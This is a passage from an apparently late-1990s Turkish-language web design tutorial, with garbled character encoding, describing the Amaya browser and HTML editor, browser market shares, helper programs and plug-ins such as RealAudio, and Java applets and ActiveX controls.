Bir Web tasarımcısının mutlaka aÅŸina olması gereken bir tarayıcı, HTTP, FTP ve HTML gibi Web’in protokol ve dillerini belirleyen, Evrensel Kaynak Belirleyici (URL) sistemini iÅŸleten, yani tüm dünyadaki Web adreslerini saÄŸlayan ve bu listeyi üstlenici firmalar aracılığıyla hergün tüm dünyadaki Internet omurga iÅŸletmecilerine ulaÅŸtıran uluslararası kurum olan W3C’nin kendi tarayıcı programı olan Amaya’dır. Bu program, sadece Internet tarayıcı deÄŸil, aynı anda HTML sayfaları oluÅŸturmakta da kullanabileceÄŸiniz bir HTML editörüdür. Birden fazla HTML sayfasını açabilen, Internet’e baÄŸlı iken bir yandan da sayfa tasarımına olanak veren Amaya, HTML’i, olduÄŸu gibi anlayıp, ekranda gösteren tek tarayıcı programıdır. NN ve IE, HTML’e kendi yorumlarını katarken, Amaya, sayfalarınızın gerçek HTML deÄŸerlerini ekrana getirecektir. Bu program ücretsiz olarak Index of / adresinden indirilebilir. Bu programı edinmek, ve tasarlayacağınız Web sayfalarını bu programla sınamak, tasarımcı olarak sizi diÄŸer tarayıcıların sayfanızı nasıl göstereceÄŸini belirleme zorunluÄŸundan kurtarmaz. Amaya, bir HTML sayfasının sınanacağı ilk tarayıcı olmalıdır. Ama tasarımcı olarak, sayfanızın NN veya IE’de “nasıl durduÄŸunu” belirlemek zorundasınız. Ayrıca Amaya, HTML standardının parçası olmayan, NCC ve MS tarafından kendi tarayıcı programlarının bir ilave niteliÄŸi olarak ortaya attıkları Java, Javascript, VBScript gibi programları tanımamaktadır. HTML editörü olarak Amaya, bu alana yeni atılan bir tasarımcının HTML’i öğrenmesine ve uygulamasına olanak saÄŸlamakla birlikte, çok yetenekli ve scripting pogramları oluÅŸturabilen diÄŸer editing programlarına oranla basit kalabilir.
Yaygınlık Oranları
Internet’te InternetNews Realtime News for IT Managers adresinde bulabileceÄŸiniz istatistikler, size tarayıcılar arasında hangi programın ne oranda raÄŸbet gördüğünü söyleyecektir. Genel olarak ifade edersek, Netscape Navigator halâ tüm bilgisayarlarda (PC, UNIX bilgisayarları ve Macintosh) yarının biraz üzerinde bir paya sahip bulunuyor. IE ise, üçret bir sınırını aÅŸmış durumda. Listenin geri kalan bölümünü, en geniÅŸi yüzde 2’lik bir pay olmak üzere, ÅŸu programlar paylaşıyorlar: Cyberdog, IBrowse, Opera-3.0, Lynx, Echo, CacheFlow-Cache, IBM WebExplorer, Opera-3.0, ve MacWeb.
Yardımcı Programlar ve Ek Birimler
Internet tarayıcıları, sadece HTML kodları ile yazılmış metinleri okuyup anladıkları günleri çoktan geride bıraktılar. NN ve IE, artık bir çok grafik dosyasını okuyup, ekranda resmedebiliyorlar. Bu geliÅŸmeye raÄŸmen, Internet tarayıcının baÅŸlıca iÅŸi, hergün yeni bir türü ortaya çıkan ses, video ve diÄŸer çoklu ortam dosyalarının, veritabanı veya muhasebe tablolarının hızlı geliÅŸimine ayak uydurup, onları ekranda canlandırmak olmadığı için, tarayıcı programını yazan uzmanlar, bu gibi programlarının dışardan çalıştırılmasına olanak saÄŸlarlar. Kullanıcı isterse tarayıcısına, Internet’te adının uzatması “.xls” olan bir dosya ile karşılaşınca, bunu ekranda göstermek için Microsoft Excel programını çalıştırmasını bildirebilir. Yardımcı programlara ve bunların gerektiÄŸi verileri sayfanıza koyarken, Internet tarayıcısına nasıl bildirimde bulunacağınıza ilerde döneceÄŸiz.
Plug-In denilen ek birimler ise, tarayıcıya tamamen farklı bir programı açmak yerine, belirli bir tür dosya türünü ekranda canlandırabilme yeteneÄŸi kazandıran eklerdir. Tarayıcı program bilgisayara kurulurken bu ek birimler olmaksızın (ya da çok yaygın olanları ile) yüklenir. Internet’te yeni bir tür dosya türü oluÅŸturmak isteyen, ya da mevcut türlerin Internet servisi sunan bilgisayardan (Server) müşteri bilgisayara aktarılmasında yeni bir yöntem geliÅŸtiren kiÅŸi veya firma, bu yeni dosya türünün tarayıcı tarafından bilgisayarda oluÅŸturulabilmesi için bir de “plug-in” oluÅŸturur ve bunu genellikle ücretsiz dağıtır.
Diyelim ki, bir firma, Internet’te ses naklini çok daha hızlı ve kolay hale getirdiÄŸini düşündüğü yeni bir biçim geliÅŸtirdi. Bu biçimin Internet hizmeti verenler tarafından benimsenmesi ve yaygın olarak kullanılması, tarayıcı programların bu biçimi tanımasına, bu da firmanın yeni ses nakil yönteminin gerektirdiÄŸi plug-in programcıklarını etkin ÅŸekilde dağıtmasına baÄŸlıdır. Kimi zaman bir yöntem o kadar beÄŸenilir ve Internet hizmeti verenler tarafından tutulur ki, plug-in tarayıcı kullananların satın almak isteyecekleri bir program haline gelir. ÇoÄŸu zaman, tarayıcı için gerekli plug-in kullanıcılara ücretsiz ulaÅŸtırılırken, yeni yöntemi kullanarak Internet alanında sundukları içeriÄŸi daha etkin hale getirmek isteyenler için gerekli oluÅŸturma programı parayla satılır. Bunun bir örneÄŸi Internet’te gerçek zamanlı ses aktarmakta kullanılan RealAudio ses kayıt ve saklama yöntemidir. Firma, ses dosyalarını bu yöntemle sıkıştırıp hızlı bir ÅŸekilde ulaÅŸtırmak isteyenlere kodlama ve bunu Server’a yerleÅŸtirerek, isteyen tarayıcıya aktaracak programı satarken, kendi tarayıcılarına RealAudio dosyalarını okuyarak, bilgisayarın ses kartını ve hoparlorunu kullanarak bu dosyayı sese çevirecek ek birimi ücretsiz dağıtmaktadır.
Web tasarımcısı, özellikle ses, video ve diÄŸer grafik unsurların Server’dan müşteriye aktarılmasında ne gibi yöntemler olduÄŸunu ve geliÅŸmeleri izlemek zorundadır. HTML sayfanıza bir ses unsuru koymaya karar verdiÄŸiniz zaman NN veya IE kullanan bir kiÅŸinin bunu bilgisayarında dinleyip-dinleyemeyeceÄŸini de hesaba katmak zorundasınız. İlerde, Web tasarımında çoklu ortam unsurlarından söz ettiÄŸimiz zaman, plug-in’lere döneceÄŸiz.
Java, ActiveX
Bu bölümü bitirmeden, HTML sayfalarınıza koyabileceÄŸiniz ve HTML’i duraganlıktan kurtarıp, hareket ve hatta kullanıcı ile etkileÅŸmeli hale getiren unsurlardan da kısaca söz edelim.
Java dili ile yazılmış programlar veya programcılar (Applet) ve Microsoft firmasının Windows ortamı için geliÅŸtirdiÄŸi ama zamanla diÄŸer iÅŸletme sistemlerine de yayılan ActiveX Kontrolleri, tarayıcı programın yanı sıra, ama ondan bağımsız olarak, çalışan ve ortaya çıkarttıkları sonucu, programcığı veya Kontrol’ü yazan kiÅŸinin amacına baÄŸlı olarak, ya tarayıcı içinde, ya da tarayıcı dışında ekrana getiren veya yapan unsurlardır. Hareketli Web sayfalarından ve Dinamik HTML’den söz ettiÄŸimiz zaman bu iki unsuru daha geniÅŸ ele alacağız.